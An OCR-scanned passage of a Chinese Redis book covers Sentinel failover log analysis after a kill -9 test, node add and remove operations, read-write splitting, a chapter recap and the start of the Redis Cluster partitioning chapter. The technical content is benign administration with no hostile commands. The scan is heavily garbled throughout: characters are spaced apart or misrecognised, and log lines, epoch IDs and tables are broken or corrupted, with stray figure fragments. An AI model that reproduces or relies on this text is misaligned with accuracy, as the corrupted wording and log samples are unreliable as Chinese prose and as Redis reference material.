19661:M 24 Jul 09:22:16.919 * Synchronization with slave 127.0.0.1:6380 succeed 
19661:M 24 Jul 09:22:23.396 * Slave 127.0.0.1:6381 asks for synchronization 
19661:M 24 Jul 09:22:23.396 * Full resync requested by slave 127.0.0.1:6381 
































19661:M 24 Jul 09:22:23.432 * Synchronization with slave 127.0.0.1:6381 succeed 











09: 40: 35 做 了 kill-9 操 作 ， 由 于 模拟 的 是 宕 机 效果 ， 所 以 6379 节 点 没 
有 看 到 任何 日 志 (这 点 和 shutdown 操 作 不 太 相 同 〉。 


(2) 6380 节 点 日 志 
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6380 节 点 在 09: 40: 35$ 之 后 发 现 它 与 6379 节 点 已 经 失 联 : 





19667:S 24 Jul 09:40:35.788 
19667:S 24 Jul 09:40:35.788 
19667:S 24 Jul 09:40:35.974 


S Connection with master lost. 
S 
S 
19667:S 24 Jul 09:40:35.974 
S 
Q 


Caching the disconnected master State . 
Connecting to MASTER 127.0.0.1:6379 

ASTER <-> SLAVE sync started 

Error condition on socket for SYNC: Connection 














井 * * X%# 





19667:S 24 Jul 09:40:35.975 
refuse 





09: 41: 06 时 它 接 到 Sentinel 节 点 的 命令 : 清理 原来 缓存 的 主 节 点 状 
态 ，Sentinel 节 点 将 6380 节 点 晋升 为 主 节 上 点， 并重 写 配 置 ; 





19667:M 24 Jul 09:41:06.161 * Discarding previously cached master state. 

19667:M 24 Jul 09:41:06.161 * MASTER MODE enabled (user request from 'id=7 
addr=127.0.0.1:46759 fd=10 name=sentinel-7044753f-cmd age=1111 idle=0 
flags=x db=0 sub=0 psub=0 multi=3 qbuf=0 qbuf-free=32768 obl=36 olL1=0 
omem=0 events=rw cmd=exec') 

19667:M 24 Jul 09:41:06.161 # CONFIG REWRITE executed with success. 












































6381 节 点 发 来 了 复制 请 求 : 





19667:M 24 Jul 09:41:07.499 * Slave 127.0.0.1:6381 asks for synchronization 
19667:M 24 Jul 09:41:07.499 * Full resync requested by slave 127.0.0.1:6381 


19667:M 24 Jul 09:41:07.548 * Background saving terminated with success 
19667:M 24 Jul 09:41:07.548 * Synchronization with slave 127.0.0.1:6381 succeed 











(3) 6381 节 点 日 志 





6381 节 点 同样 与 6379 节 点 失 联 : 

















19685:S 24 Jul 09:40:35.788 # Connection with master lost. 

19685:S 24 Jul 09:40:35.788 * Caching the disconnected master state. 

19685:S 24 Jul 09:40:36.425 * Connecting to MASTER 127.0.0.1:6379 

19685:S 24 Jul 09:40:36.425 * MASTER <-> SLAVE Sync started 

19685:S 24 Jul 09:40:36.425 # Error condition on socket for SYNC: Connection re 








后 续 操 作 如 下 : 
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1) 09: 41: 06 时 它 接 到 Sentinel 节 点 的 命令 ， 清 理 原 来 缓存 的 主 节 点 状 
态 ， 让 它 去 复制 新 的 主 节 点 (6380 节 点 ) 





19685:S 24 Jul 09:41:06.497 # Error condition on socket for SYNC: Connection re 
19685:S 24 Jul 09:41:07.008 * Discarding previously cached master state. 
大 
由 








19685:S 24 Jul 09:41:07.008 SLAVE OF 127.0.0.1:6380 enabled (user request 
from 'id=7 addr=127.0.0.1:55872 fdq=10 name=sentinel-7044753f-cmd age=1111 
idle=0 flags=x db=0 sub=0 psub=0 multi=3 qbuf=133 qbuf-free=32635 obl=36 
oll=0 omem=0 events=rw cmd=exec') 

19685:S 24 Jul 09:41:07.008 # CONFIG REWRITE executed with success. 





























2) 向 新 的 主 节点 (6380 节 点 ) 发 起 复制 操作 : 








19685:S 24 Jul 09:41:07.498 * Connecting to MASTER 127.0.0.1:6380 





19685:S 24 Jul 09:41:07.549 * MASTER <-> SLAVE Sync: Finished with success 











(4) sentinel-1 节 点 日 志 


09: 41: 05 对 6379 市 点 作 了 主观 下 线 (+sdown) ， 注 意 这 个 时 间 正 好 
是 Kill-9 后 的 30 秒 ， 和 down-after-milliseconds 的 配置 是 一 致 的 。Sentinel 节 点 
更 新 自己 的 配置 纪元 (new-epoch) 








19697:X 24 Jul 09:41:05.850 # +sdown master mymaster 127.0.0.1 6379 
19697:X 24 Jul 09:41:05.928 # +new-epoch 1 











后 续 操 作 如 下 : 


1) 投票 给 sentinel-3 节 点 : 





19697:X 24 Jul 09:41:05.929 # +t+vote-for-leader 7044753f564e42pb1578341lacf4c49dca 
3681151lc 1 
19697:X 24 Jul 09:41:06.913 # todown master mymaster 127.0.0.1 6379 #quorum 3/2 











2) 更 新 状态 : 从 sentinel-3 节 点 (领导 者 ) 得 知 : 故障 转移 后 6380 节 点 
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变 为 主 节点 ， 并 发 现 了 两 个 从 节点 6381 和 6379， 并 在 30 秒 后 对 (09: 41: 
07~09: 41: 37) 6379 节 点 做 了 主观 下 线 : 




















26381 @ mymaster 








# 


大 


19697:X 24 Ju] 
before Sun Jul 
19697:X 24 Jul 09:41:07.008 # 
E2970 0 8 
19697:X 24 Jul 09:41:07.008 
19697:X 24 Jul 09:41:07.008 
mymaster 127.0.0.1 6380 
19697:X 24 Jul 09:41:07.008 
mymaster 127.0.0.1 6380 
19697:X 24 Jul 09:41:37.060 
mymaster 127.0.0.1 6380 


| 09:41:06.913 # Next failover delay: I will not start a failover 
24 09:47:06 2016 
+config-update-from sentinel 127.0.0.1:26381 


L277...0%0.71 6379 


+switch-master mymaster 127.0.0.1 6379 127.0.0.1 
+slave slave 127.0.0.1:6381 127.0.0.1 6381 6 








+slave slave 127.0.0.1:6379 127.0.0.1 6379 6 











+sdown slave 127.0.0.1:6379 127.0.0.1 6379 6 





($) sentinel-2 节 点 日 志 


整个 过 程 和 sentinel-1 闻 点 是 


(6) sentinel-3 节 点 日 志 


一 样 的 ， 这 里 就 不 占用 篇 幅 分 析 了。 


从 sentinel-1 节 点 和 sentinel-2 节 点 的 日 志 来 看 ，sentinel-3 节 点 是 领导 者 ， 
所 以 分 析 sentinel-3 节 点 的 日 志 人 至 关 重 要 。 


后 续 操 作 如 下 。 


1) 达到 了 客观 下 线 的 条 件 : 





19713:X 24 UUuLl 
19713:X 24 Jul 
197T3 流 之 本 - 避 J 世 主 





09:41:05.854 # 
09:41:05.909 # 
09:41:05.909 # 


+sdown master mymaster 127.0.0.1 6379 
todown master mymaster 127.0.0.1 6379 #quorum 2/2 
+new-epoch 1 








2) sentinel-3 节 点 被 选 为 领导 者 : 





L971.3:X 24 UU 
19713:X 24. JUL 

3681151c 1 
19713:X 24 Jul 


O90 :0D 
09:41:05. 


09:41:05. 


cf4c49qca3681151c 1 


十 97 二 3 文 :24 可 UL 





Q.9:4 05, 


+try-failover master mymaster 127.0.0.1 6379 
+vote-for-leader 7044753f564e42b1578341acf4c49dca 


127.0.0.1:26379 voted for 7044753f564e42b1578341a 





127.0.0.1:26380 voted for 7044753f564e42b1578341a 
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cf4c49dca3681151lc 1 
19713:X 24 Jul 09:41:06.001 # +telected-leader master mymaster 127.0.0.1 6379 











表 9-5 展 示 了 3 个 Sentinel 节 点 完成 客观 下 线 的 时 间 点 ， 从 时 间 点 可 以 看 
到 jsentinel-3 节 点 最 先 完 成 客观 下 线 。 








表 9-$ 3 个 Sentinel 节 点 客观 下 线 时 间 


节点 下 线 时 间 
Sentinel-1 09:41:06.913 # +odown master mymaster 127.0.0.1 6379 #quorum 3/2 
Sentinel-2 09:41:05.943 # +odown master mymaster 127.0.0.1 6379 #quorum 3/2 
Sentinel-3 09:41:05.909 # +odown master mymaster 127.0.0.1 6379 #quorum 2/2 








3) 故障 转移 。 每 一 步 都 可 以 通过 发 布 订阅 来 获取 ， 对 于 每 个 字段 的 说 
明 可 以 参考 表 9-6。 


寻找 合适 的 从 市 扣 作 为 新 的 主 节 扩 : 





19713:X 24 Jul 09:41:06.001 # +failover-state-select-slave master mymaster 
1 2020 6379 





选 出 了 合适 的 从 节点 〈6380 节 点 ) : 





19713:X 24 Jul 09:41:06.077 # +selected-slave slave 127.0.0.1:6380 127.0.0.1 
6380 @ mymaster 127.0.0.1 6379 





命令 6380 节 点 执行 slaveof no one， 使 其 成 为 主 节点 : 





19713:X 24 Jul 09:41:06.077 * +failover-state-send-slaveof-noone slave 
127.0.0.1:6380 127.0.0.1 6380 @ mymaster 127.0.0.1 6379 





等 待 6380 节 点 晋升 为 主 节点 : 





19713:X 24 Jul 09:41:06.161 * +failover-state-wait-promotion slave 
127.0.0.1:6380 127.0.0.1 6380 @ mymaster 127.0.0.1 6379 


348 








确认 6380 节 点 已 经 晋升 为 主 节点 : 





19713:X 24 Jul 09:41:06.927 # +promoted-slave slave 127.0.0.1:6380 127.0.0.1 
6380 @ mymaster 127.0.0.1 6379 





故障 转移 进入 重新 配置 从 节点 阶段 : 





19713:X 24 Jul 09:41:06.927 # +failover-state-reconf-slaves master mymaster 
12720..0542 6379 





命令 6381 节 点 复制 新 的 主 节点 : 





19713:X 24 Jul 09:41:07.008 * +slave-reconf-sent slave 127.0.0.1:6381 127.0.0.1 
6381 @ mymaster 127.0.0.1 6379 








6381 节 点 正在 重新 配置 成 为 6380 节 点 的 从 节点 ， 但 是 同步 过 程 尚 未完 
成 : 





19713:X 24 Jul 09:41:07.955 * +slave-reconf-inprog slave 127.0.0.1:6381 
127.0.0.1 6381 @ mymaster 127.0.0.1 6379 





6381 节 点 完成 对 6380 节 点 的 同步 





19713:X 24 Jul 09:41:07.955 * +slave-reconf-done slave 127.0.0.1:6381 127.0.0.1 
6381 @ mymaster 127.0.0.1 6379 





故障 转移 顺利 完成 : 





19713:X 24 Jul 09:41:08.045 # +failover-end master mymaster 127.0.0.1 6379 





故障 转移 成 功 后 ， 发 布 主 三 点 的 切换 消 奶 : 
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19713:X 24 Jul 09:41:08.045 # +switch-master mymaster 127.0.0.1 6379 127.0.0.1 





表 9-6 记 录 了 Redis Sentinel 在 故障 转移 一 些 重要 的 事件 消息 对 应 的 频 


道 。 
表 9-6 ”Sentinel 节 点 发 布 订阅 频道 
状 态 说 明 
+reset-master <instance details> 主 节 点 被 重 置 
+slave <instance details> 一 个 新 的 从 节点 被 发 现 并 关联 
Slovo "state een sav <instance 故障 转移 进入 reconf-slaves 状态 
details> 


+slave-reconf-sent <instance details> 领导 者 Sentinel 节点 命令 其 他 从 节点 复制 新 的 主 节点 
从 节点 正在 重新 配置 主 节点 的 slave， 但 是 同步 过 程 尚 


+slave-reconf-inprog <instance details> 


未 完成 

+slave-reconf-done <instance details> 其 余 从 节点 完成 了 和 新 主 节点 的 同步 

+Sentinel <instance details> 一 个 新 的 sentinel 节点 被 发 现 并 关联 

t+sdown <instance details> 添加 对 某 个 节点 被 主观 下 线 

-sdown <instance details> 撤销 对 某 个 节点 被 主观 下 线 

+odown <instance details> 添加 对 某 个 节点 被 客观 下 线 

-odown <instance details> 撤销 对 某 个 节点 被 客观 下 线 

+new-epoch <instance details> 当前 纪元 被 更 新 

+try-failover <instance details> 故障 转移 开始 

+elected-leader <instance details> 选 出 了 故障 转移 的 Sentinel 节点 

+failover-state-select-slave <instance 故障 转移 进入 select-slave 状态 (寻找 合适 的 从 
details> 节点 ) 

no-good-slave <instance details> 没有 找到 适合 的 从 节点 

selected-slave <instance details> 找到 了 适合 的 从 节点 

failover-state-send-slaveof-noone 故障 转移 进入 failover-state-send-slaveof- 
<instance details> noone 状态 (对 找到 的 从 节点 执行 slaveof no one) 


failover-end-for-timeout <instance Ei 
故障 转移 由 于 超时 而 终止 
details> 
failover-end <instance details> 故障 转移 顺利 完成 
switch-master <master name><oldip><old 


更 新 主 节点 信息 ， 这 个 是 许多 客户 端 重点 关注 的 


port><newip><newport> 


<instance details> 格 式 如 下 : 





<instance-type> <name> <ip> <port> @ <master-name> <master-ip> <master-port> 





5. 原 主 市 点 后 续 处 理 
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重新 局 动 原 来 的 6379 节 点 : 





redis-server redis-6379.conf 操 作 时 间 : 2016-07-24 09:46:21 








(1) 6379 节 点 


启动 后 接 到 Sentinel 节 点 的 命令 ， 让 它 去 复制 6380 节 点 : 





22223:M 24 Jul 09:46:21.260 * The server is now ready to accept connections on 
port 6379 
22223:S 24 Jul 09:46:31.323 * SLAVE OF 127.0.0.1:6380 enabled (user request 
from 'id=2 addr=127.0.0.1:51187 fdq=6 name=sentinel-94dde2f5-cmd age=10 
idle=0 flags=x db=0 sub=0 psub=0 multi=3 qbuf=0 qbuf-free=32768 obl=36 
oll=0 omem=0 events=rw cmd=exec') 
22223:S 24 Jul 09:46:31.323 # CONFIG REWRITE executed with success. 



































(2) 6380 节 点 


接 到 6379 市 点 的 复制 请 求 ， 做 复制 的 相应 处 理 : 





19667:M 24 Jul 09:46:32.284 * Slave 127.0.0.1:6379 asks for synchronization 
19667:M 24 Jul 09:46:32.284 * Full resync requested by slave 127.0.0.1:6379 





19667:M 24 Jul 09:46:32.353 * Synchronization with slave 127.0.0.1:6379 succeed 








(3) sentinel-1 节 点 日 志 


撤销 对 6379 节 点 主观 下 线 的 决定 : 





19707:X 24 Jul 09:46:21.406 # -sdown slave 127.0.0.1:6379 127.0.0.1 6379 Q@ 
mymaster 127.0.0.1 6380 





(4) sentinel-2 节 点 日 志 


撤销 对 6379 节 点 主观 下 线 的 决定 : 
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19713:X 24 Jul 09:46:21.408 # -sdown slave 127.0.0.1:6379 127.0.0.1 6379 Q@ 
mymaster 127.0.0.1 6380 





($) sentinel-3 节 点 日 志 


撤销 对 6379 节 点 主观 下 线 的 决定 ， 更 新 Sentinel 节 点 配置 : 





19697:X 24 Jul 09:46:21.367 # -sdown slave 127.0.0.1:6379 127.0.0.1 6379 @ 
mymaster 127.0.0.1 6380 

19697:X 24 Jul 09:46:31.322 * +tconvert-to-slave slave 127.0.0.1:6379 127.0.0.1 
6379 @ mymaster 127.0.0.1 6380 








1 了 
6. 注 意 点 





部 署 各 个 节点 的 机 器 时 间 尽 量 要 同步 ， 否 则 日 志 的 时 序 性 会 混乱 ， 例 如 
可 以 给 机 器 添加 NTP 服 务 来 同步 时 间 ， 有 具体 可 以 参考 第 12 章 Linux 配 置 章 


Ny 
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9.6.2 ”节点 运 维 


1. 节 成 下 线 





在 介绍 如 何 进行 布点 下 线 之 前 ， 首 先 需 要 弄 清 两 个 概念 : 临时 下 线 和 水 
外 下 线 。 





-临时 下 线 : 暂时 将 节点 关 挥 ， 之 后 还 会 重新 局 动 ， 继 续 提 供 服 务 。 





:永久 下 线 : 将 节点 关 挥 后 不 再 使 用 ， 需 要 做 一 些 清理 工作 ， 如 删除 配 
置 文件 、 持 久 化 文件 、 日 志文 件 。 


所 以 运 维 人 员 震 要 弄 清楚 本 次 下 线 操作 是 临时 下 线 还 古永 久 下 线 。 





通常 来 看 ， 无 论 是 主 节 点 、 从 节点 还 是 Sentinel 闻 点 ， 下 线 原因 无 外 平 
以 下 几 种 : 


市 反 所 在 的 机 器 出 现 了 不 稳定 或 者 即将 过 保 被 回收 。 





市 反 所 在 的 机 器 性 能 比较 差 或 者 内 存 比较 小 ， 无 法 支撑 应 用 方 的 需 


-节点 自身 出 现 服务 不 正常 情况 ， 需 要 快速 处 理 。 


CE) 来 站 二 





如 果 需 要 对 主 市 点 进行 下 线 ， 比 较 合理 的 做 法 是 选 出 一 个 “合适 ”( 例 如 
性 能 更 高 的 机 器 ) 的 从 节点 ， 使 用 sentinel failover 功 能 将 从 节点 晋升 主 节 


点 ，Sentinel failover 已 经 在 9.3 节 介绍 过 了 ， 只 需要 在 任意 可 用 的 Sentinel 节 点 
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执行 如 下 操作 即 可 。 





sentinel failover <master name> 





如 图 9-35 所 示 ， 在 任意 一 个 Sentinel 节 点 上 【例如 26379 端 口 节点 ) 执行 


sentinel failover 即 可 。 


© nn 


Redis Sentinel 存 在 多 个 从 节点 时 ， 如 果 想 将 指定 从 节点 晋升 为 主 节 点 ， 
可 以 将 其 他 从 节点 的 slavepriority 配 置 为 0， 但 是 需要 注意 failover 后 ， 将 
slave-priority 调 回 原 值 。 





| sentinel sentinel sentinel | 
) 26379 26380 20381 | 





Re 

0” ) ) 
«2 . 复制 | 

二 -一 
1 1 
client 1 | 
RE 1/ 

复制 
二 一 


We ww 


图 9-35 手动 故障 转移 
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(2) 从 节点 和 Sentinel 节 点 





如 果 需 要 对 从 市 皮 或 者 Sentinel 节 点 进行 下 线 ， 只 需要 确定 好 是 临时 还 
古永 久 下 线 后 执行 相应 操作 即 可 。 如 果 使 用 了 读 写 分 离 ， 下 线 从 市 皮 需 要 保 
证 应 用 方 可 以 感知 从 节点 的 下 线 变化 ， 从 而 把 读 取 请 求 路 由 到 其 他 节点 。 





需要 注意 的 是 ，Sentinel 节 点 依然 会 对 这 些 下 线 节 点 进行 定期 监控 ， 这 
是 由 Redis Sentinel 的 设计 思路 所 决定 的 。 下 面 日 志 显 示 〈( 需 要 设置 
loglevel=debug) ，6380 节 点 下 线 后 ，Sentinel 节 点 还 是 会 定期 对 其 监控 ， 会 


造成 一 定 的 网 络 资源 浪费 。 











-cmd-link slave 127.0.0.1:6380 127.0.0.1 6380 @ mymaster 127.0.0.1 6379 
#Connection refused 

-pubsub-link slave 127.0.0.1:6380 127.0.0.1 6380 @ mymaster 127.0.0.1 6379 
#Connection refused 





2 节 所 上 线 


(1) 添加 从 节点 


并 加 从 节点 的 场景 大 致 有 如 下 几 种 : 








使 用 了 读 写 分 离 ， 但 现 有 的 从 市 点 无 法 文 撑 应 用 方 的 流量 。 
` 主 市 反 没 有 可 用 的 从 节操 ， 无 法 文 持 故障 转移 。 
:添加 一 个 更 强悍 的 从 市 点 利用 手动 failover 亚 换 主 季 上 反 。 


添加 方法 : 添加 slaveof{masterIp} {masterPort} 的 配置 ， 使 用 redis-server 
启动 即 可 ， 它 将 被 Sentinel 节 点 自动 发 现 。 
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(2) 添加 Sentinel 节 点 


添加 Sentinel 节 点 的 场景 可 以 分 为 以 下 几 种 : 


:当前 Sentinel 节 点 数量 不 够 ， 无 法 达到 Redis Sentinel 健 壮 性 要 求 或 者 无 
法 达到 票数 。 


` 原 Sentinel 市 点 所 在 机 器 需要 下 线 。 


添加 方法 : 添加 sentinel monitor 主 节点 的 配置 ， 使 用 redis-sentinel 启 动 即 
可 ， 它 将 被 其 余 Sentinel 节 点 自动 发 现 。 





(3) 添加 主 节点 


因为 Redis Sentinel 中 只 能 有 一 个 主 节 点 ， 所 以 不 需要 添加 主 节 点 ， 如 果 
要 蔡 换 主 节 点 ， 可 以 使 用 Sentinel failover 手 动 故障 转移 。 


3. 节 点 配置 


有 关 Redis 数 据 节 点 和 Sentinel 节 点 配置 修改 以 及 优化 的 方法 ， 前 面 的 章 
节 已 经 介绍 过 了 ， 这 里 给 出 Sentinel 节 点 配置 时 要 注意 的 地 方 : 








'Sentinel 节 点 配置 尽 可 能 一 致 ， 这 样 在 判断 节点 故障 时 会 更 加 准确 。 


'Sentinel 节 点 支持 的 命令 非常 有 限 ， 例 如 config 命 令 是 不 文 持 的 ， 而 
Sentinel 节 点 也 需要 dir、loglevel 之 类 的 配置 ， 所 以 尽量 在 一 开始 规划 好 ， 不 
过 所 笠 Sentinel 节 点 不 存储 数据 ， 如 果 需 要 修改 配置 ， 重 新 启动 即 可 。 


© nn 
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Sentinel 节 点 只 支持 如 下 命令 : ping、sentinel、subscribe、unsubscribe、 


psubscribe、 punsubscribe、publish、1nfo、role、client、shutdown。 

具体 可 以 参考 源码 中 sentinel.c。 

上 面 介 绍 了 Redis Sentinel 节 点 运 维 的 场景 和 方法 ， 但 在 实际 运 维 中 ， 故 
障 的 发 生 通 常 比较 突然 并 且 有 瞬息 万 变 ， 影 响 的 范围 也 很 难 预 舍 ， 所 以 建议 运 


维和 人员 将 上 述 场景 提前 做 好 预案 ， 当 事故 发 生 时 ， 可 以 用 脚本 或 者 可 视 化 工 
具 快 速 处 理 故 障 。 
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9.6.3 ”高 可 用 读 写 分 离 
1. 从 节点 的 作用 


从 节点 一 般 可 以 起 到 两 个 作用 : 第 一 ， 当 主 节点 出 现 故障 时 ， 作 为 主 节 
点 的 后 备 “ 顶 ”上 来 实现 故障 转移 ，Redis Sentinel 已 经 实现 了 该 功能 的 自动 
化 ， 实 现 了 真正 的 高 可 用 。 第 二 ， 扩 展 主 节点 的 读 能 力 ， 尤 其 是 在 读 多 写 少 
的 场景 非常 适用 ， 通 常 的 模型 如 图 9-36 所 示 。 





一 一 一 一 一 一 一 一 一 一 一 / 





图 9-36 一 般 的 读 写 分 离 模型 





但 上 述 模型 中 ， 从 节点 不 是 高 可 用 的 ， 如 果 slave-1 节 点 出 现 故 障 ， 首 先 
客户 端 client-1 将 与 其 失 联 ， 其 次 Sentinel 节 点 只 会 对 该 节点 做 主观 下 线 ， 
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为 Redis Sentinel 的 故障 转移 是 针对 主 市 点 的 。 所 以 很 多 时 候 ，Redis Sentinel 
中 的 从 节点 仅仅 是 作为 主 节点 一 个 热 备 ， 不 让 它 参 与 客户 端的 读 操作 ， 就 是 
为 了 保证 整体 高 可 用 性 ， 但 实际 上 这 种 使 用 方法 还 是 有 一 些 浪费 ， 尤 其 是 在 
有 很 多 从 节点 或 者 确实 需要 读 写 分 离 的 场景 ， 所 以 如 何 实现 从 节点 的 高 可 用 
是 非常 有 必要 的 。 




















2.Redis Sentinel 读 写 分 离 设计 思路 


Redis Sentinel 在 对 各 个 节点 的 监控 中 ， 如 果 有 对 应 事件 的 发 生 ， 都 会 友 
出 相应 的 事件 消 妃 〈《 见 表 9-6) ， 其 中 和 从 市 点 变动 的 事件 有 以 下 几 个 : 





+switch-master: 切换 主 节点 (原来 的 从 市 点 晋升 为 主 市 点 ) ， 说 明 减 
少 了 茶 个 从 节点 。 


“+convert-to-slave: 切换 从 节点 《原来 的 主 节 点 降级 为 从 节点 ) ， 说 明 
添加 了 某 个 从 节点 。 





+sdown: 主观 下 线 ， 说 明 可 能 某 个 从 节操 可 能 不 可 用 (因为 对 从 节操 
不 会 做 客观 下 线 ) ， 所 以 在 实现 客户 端 时 可 以 采用 目 映 集 略 来 实现 类 似 主观 
下 线 的 功能 。 








+reboot: 重新 启动 了 某 个 节点 ， 如 果 它 的 角色 是 slave， 那 么 说 明 添 加 
了 某 个 从 节点 。 


所 以 在 设计 Redis Sentinel 的 从 节点 高 可 用 时 ， 只 要 能 够 实时 掌握 所 有 从 
节点 的 状态 ， 把 所 有 从 节点 看 做 一 个 资源 池 《〈 如 图 9-37 所 示 ) ， 无 论 是 上 线 
还 是 下 线 从 市 态 ， 客 户 并 都 能 及 时 感知 到 将 其 从 资源 池 中 添加 或 者 删 
除 ) ， 这 样 从 节点 的 高 可 用 目标 就 达到 了 。 
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client-3 


client-1 | client-2 


图 9-37 ”Redis Sentinel 下 的 读 写 分 离 架 构图 
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9.7 ”本草 重 点 回顾 


1) Redis Sentinel 是 Redis 的 高 可 用 实现 方案 : 故障 发 现 、 故 障 上 自动 转 
移 、 配 置 中 心 、 客 户 端 通知 。 


2) Redis Sentinel 从 Redis2.8 版 本 开始 才 正 式 生 产 可 用 ， 之 前 版 本 生产 不 
可 用 。 


3) 尽 可 能 在 不 同 物理 机 上 部 署 Redis Sentinel 所 有 节点 。 








4) Redis Sentinel 中 的 Sentinel 节 点 个 数 应 该 为 大 于 等 于 3 且 最 好 为 奇数 。 
5) Redis Sentinel 中 的 数据 节点 与 普通 数据 节点 没有 区 别 。 


6) 客户 端 初始 化 时 连接 的 是 Sentinel 节 点 集合 ， 不 再 是 具体 的 Redis 节 
点 ， 但 Sentinel 只 是 配置 中 心 不 是 代理 。 


7) Redis Sentine] 通 过 三 个 定时 任务 实现 了 Sentinel 节 点 对 于 主 节 点 、 从 


节点 、 其 余 Sentinel 节 点 的 监控 。 
8) Redis Sentinel 在 对 节点 做 失败 判定 时 分 为 主观 下 线 和 客观 下 线 。 


9) 看 懂 Redis Sentinel 故 障 转移 日 志 对 于 Redis Sentnel 以 及 问题 排查 非常 
有 帮助 。 





10) Redis Sentinel 实 现 读 写 分 离 高 可 用 可 以 依赖 Sentinel 节 点 的 消息 通 
知 ， 获 取 Redis 数 据 节 点 的 状态 变化 。 
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第 10 章 ”集群 


Redis Cluster 是 Redis 的 分 布 式 解 决 方案 ， 在 3.0 版 本 正式 推出 ， 有 效 地 解 
决 了 Redis 分 布 式 方面 的 需求 。 当 过 到 单机 内 存 、 并 发 、 流 量 等 瓶 贷 时 ， 可 
以 采用 Cluster 架 构 方案 达到 负载 均衡 的 目的 。 之 前 ，Redis 分 布 式 方案 一 般 
有 两 种 : 





客户 疹 分 区 方案 ， 优 点 是 分 区 逻辑 可 控 ， 缺 点 是 怖 要 目 己 处 理 数 据 路 
由 、 高 可 用 、 故 障 转移 等 问题 。 


代理 方案 ， 优 点 古 简化 客户 站 分 布 式 逻辑 和 升级 维护 便利 ， 缺 点 是 加 
重 架 构 部 著 复 林 度 和 性 能 损耗 。 


现在 官方 为 我 们 提供 了 专 有 的 集群 方案 : Redis Cluster， 它 非常 优雅 地 
解决 了 Redis 集 群 方面 的 问题 ， 因 此 理解 应 用 好 Redis Cluster 将 极 大 地 解放 我 
们 使 用 分 布 式 Redis 的 工作 量 ， 同 时 它 也 是 学 习 分 布 式 存储 的 绝 佳 案 例 。 








本 章 将 从 数据 分 布 、 搭 建 集 群 、 节 点 通信 、 集 群 伸 缩 、 请 求 路 由 、 故 障 
转移 、 集 群 运 维 几 个 方面 介绍 Redis Cluster。 
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10.1 ”数据 分 布 


10.1.1 数据 分 布 理论 





分 布 式 数据 库 首 先 要 解决 把 整个 数据 集 按照 分 区 规则 映射 到 多 个 节点 的 
问题 ， 即 把 数据 集 划 分 到 多 个 节点 上 ， 每 个 节点 负责 整体 数据 的 一 个 子 集 。 
如 图 10-1 所 示 。 





再 要 重点 关注 的 是 数据 分 区 规则 。 第 见 的 分 区 规则 有 哈 希 分 区 和 顺序 分 
区 两 种 ， 表 10-1 对 这 两 种 分 区 规则 进行 了 对 比 。 


| 人 金 量 数据 | 











图 10-1 分 布 式 存储 数据 分 区 
表 10-1 ” 哈 希 分 区 和 顺序 分 区 对 比 
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分 区 方式 代表 产品 
。 离 散 度 好 Redis Cluster 
哈 币 分 区 。 数据 分 布 业务 无 关 Cassandra 
。 无 法 顺序 访问 Dynamo 
。 离 散 度 易 倾斜 Bigtable 
顺序 分 区 “数据 分 布 业务 相关 HBase 





。 可 顺序 访问 Hypertable 


由 于 Redis Cluster 采 用 哈 希 分 区 规划， 这 里 我 们 重点 讨论 喻 硕 分 区 ， 常 
见 的 哈 硕 分 区 规则 有 儿 种 ， 下 面 分 别 介 绍 。 


1. 节 点 取 余 分 区 


使 用 特定 的 数据 ， 如 Redis 的 键 或 用 户 ID， 再 根据 节点 数量 N 使 用 公式 : 
hash (key) %N 计 算出 哈 希 值 ， 用 来 决定 数据 映射 到 哪 一 个 节点 上 。 这 种 方 
案 存 在 一 个 问题 : 当 节 点 数量 变化 时 ， 如 扩容 或 收缩 节点 ， 数 据 节 点 映射 天 
系 需 要 重新 计算 ， 会 导致 数据 的 重新 迁移 。 


这 种 方式 的 突出 优点 是 简单 性 ， 常 用 于 数据 库 的 分 库 分 表 规则 ， 一 般 采 
用 预 分 区 的 方式 ， 提 前 根据 数据 量规 划 好 分 区 数 ， 比 如 划分 为 512 或 1024 张 
表 ， 保 证 可 支撑 未 来 一 段 时 间 的 数据 量 ， 再 根据 负载 情况 将 表 迁 移 到 其 他 数 
据 库 中 。 扩 容 时 通常 采用 翻 倍 扩容 ， 避 免 数 据 映 射 全 部 被 打 乱 导致 全 量 迁 移 
的 情况 ， 如 图 10-2 所 示 。 























2 一 致 性 哈 希 分 区 


一 致 性 哈 希 分 区 (Distributed Hash Table) 实现 思路 是 为 系统 中 每 个 节 
点 分 配 一 个 token， 范 围 一 般 在 0~2?2， 这 些 token 构 成 一 个 哈 希 环 。 数 据 读 写 
执行 节点 查找 操作 时 ， 先 根据 key 计 算 hash 值 ， 然 后 顺 时 针 找到 第 一 个 大 于 
等 于 该 哈 希 值 的 token 节 点 ， 如 图 10-3 所 示 。 





564 






| 约 50% 数据 | 


Sy Ce 


图 10-2” 翻 倍 扩 容 迁 移 约 50% 数 据 
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[计算 hash 


订 攻 hash| 
| 1 和 卓 hash 


这 种 方式 相 比 三 点 取 余 最 大 的 好 处 在 于 加 入 和 删除 市 点 只 影响 哈 希 环 中 







1 入 hashl 


图 10-3 ”一 致 性 哈 希 数据 分 布 


相 邻 的 节点 ， 对 其 他 节点 无 影响 。 但 一 致 性 哈 希 分 区 存在 几 个 问题 : 





-加 减 币 点 会 造成 哈 布 环 中 部 分 数据 无 法 命中 ， 震 要 手动 处 理 或 者 忽略 


这 部 分 数据 ， 因 此 一 致 性 哈 希 常用 于 缓存 场景 。 


` 当 使 用 少量 节点 时 ， 节 后 变 化 将 大 范围 影响 哈 希 环 中 数据 映 冉 ， 因 此 





这 种 方式 不 适合 少量 数据 节点 的 分 布 式 方案 。 


普通 的 一 致 性 哈 希 分 区 在 增 减 节 点 时 需要 增加 一 倍 或 减 去 一 半 节 点 才 


能 保证 数据 和 负载 的 均衡 。 


正 因为 一 致 性 哈 希 分 区 的 这 些 缺 点 ， 一 些 分 布 式 系统 采用 虚拟 槽 对 一 到 
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性 哈 希 进行 改进 ， 比 如 Dynamo 系 统 。 
3. 虚 拟 槽 分 区 


虚拟 模 分 区 巧妙 地 使 用 了 哈 希 空间 ， 使 用 分 散 度 良 好 的 哈 希 函数 把 所 有 
数据 映射 到 一 个 固定 范围 的 整数 集合 中 ， 整 数 定义 为 槽 〈slot) 。 这 个 范围 
一 般 远 远大 于 节点 数 ， 比 如 Redis Cluster 槽 范围 是 0~16383 。 覃 是 集群 内 数据 
管理 和 迁移 的 基本 单位 。 采 用 大 范围 槽 的 主要 目的 是 为 了 方便 数据 拆 分 和 集 
群 扩展 。 每 个 节点 会 负责 一 定数 量 的 槽 ， 如 图 10-4 所 示 。 

















当前 集群 有 5 个 节点 ， 每 个 节点 平均 大 约 负责 3276 个 槽 。 由 于 采用 高 质 
